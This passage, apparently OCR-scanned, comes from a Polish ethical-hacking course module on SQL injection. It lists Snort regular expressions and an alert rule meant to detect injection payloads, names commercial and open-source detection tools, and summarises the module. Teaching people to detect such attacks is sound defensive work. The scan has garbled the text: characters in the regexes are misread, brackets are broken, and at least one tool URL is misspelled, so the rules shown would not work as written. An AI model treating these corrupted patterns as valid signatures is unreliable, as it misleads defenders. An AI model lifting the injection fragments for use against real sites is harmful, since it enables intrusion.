zwigzanych z iniekcja SQL.

Specjalisci ds. bezpieczenstwa mogg uzywaé tego narzedzia do wykrywania luk w zabezpieczeniach
zwigzanych z iniekcjg SQL w aplikacjach internetowych.

Snort

Wiele powszechnych atakéw wykorzystuje okreslony typ sekwencji kodu lub polecenia, ktére
umozliwiajg atakujgcym uzyskanie nieautoryzowanego dostepu do systemu i danych ofiary. Te
polecenia i sekwencje kodu umozliwiajg uzytkownikowi pisanie regut Snort, ktérych celem jest
wykrywanie atakéw typu SQL injection. Niektére wyrazenia, ktére moga by¢ blokowane przez Snort to:

0 /(\%27)| (V) [(\-\-)|(\%23) | (#)/ix

0 /exec(\s|\+)+(s|x)p\w+/ix

0 /((\%27)[(\'))union/ix

O Aw*((\%27)] (V) ) (\%6F) |o| (\%4F))((\%72) | r| (\%52))/ix

O alert tcp SEXTERNAL_NET any -> SHTTP_SERVERS SHTTP_PORTS

(msg:"SQL Injection - Paranoid"; flow:to_server,established;uricontent:".pi";pcre:"/(\%27)| (V)| (\
\-)1(%23) | (#)/i"; classtype:Web-application-attack; sid:9099;

rev:5

Oto niektére dodatkowe narzedzia do wykrywania iniekcji SQL:

e Pakiet Burp (https://www.portswigger.net)

e HCLAppScan (https://www.hcltechsw.com)

e w3af (https://w3af.org)

e Testowanie bezpieczenstwa aplikacji Invicti (https://www.invicti.com)

*SQL Invader (https://information.rapid7.com)

e Skaner bezpieczenstwa aplikacji internetowych N-Stalker (https://www.nstaiker.com)

¢ Wzmochienie Weblnspect (https://www.microfocus.com)

e Zarzadzanie lukami w zabezpieczeniach i ocena BeSECURE (https://beyondsecurity.com)
* Menedzer zdarzen bezpieczeristwa SolarWinds (https://www.solarwinds.com)

e USM Anywhere (https://cybersecurity.att.com)

e dotDefender (http://www.applicure.com)

e Wapiti (https://wapiti-scanner.github.io)



e InsightAppSec (https://www.rapid7.com)

¢ Acunetix Web Vulnerability Scanner (https://www.acunetix.com)
e Skaner exploitéw Xcode ( https://sourceforge.net )
Podsumowanie modutu

W tym module przedstawiono podstawowe koncepcje iniekcji SQL wraz z réznymi typami iniekcji SQL.
Przedstawiono réwniez szczegétowg dyskusje na temat metodologii iniekcji SQL, ktéra obejmuje
gromadzenie informacji i wykrywanie podatnosci na wstrzykiwanie SQL, przeprowadzanie atakéw
iniekcji SQL oraz zaawansowang iniekcje SQL. Ponadto zilustrowano rézne narzedzia do wstrzykiwania
SQL. Ponadto opisano kilka technik unikania iniekcji SQL. Wyjasniono réowniez srodki zaradcze, ktére
mozna zastosowac, aby zapobiec prébom wstrzykniecia kodu SQL przez cyberprzestepcéw. Catosc
zakonczyta sie demonstracjg réznych narzedzi do wykrywania iniekcji SQL. W nastepnym module
szczegdétowo omowimy, w jaki sposéb atakujagcy, a takze etyczni hakerzy i pentesterzy atakujg sieci
bezprzewodowe, hakujac je w celu uzyskania nieautoryzowanego dostepu do zasobdw sieciowych.



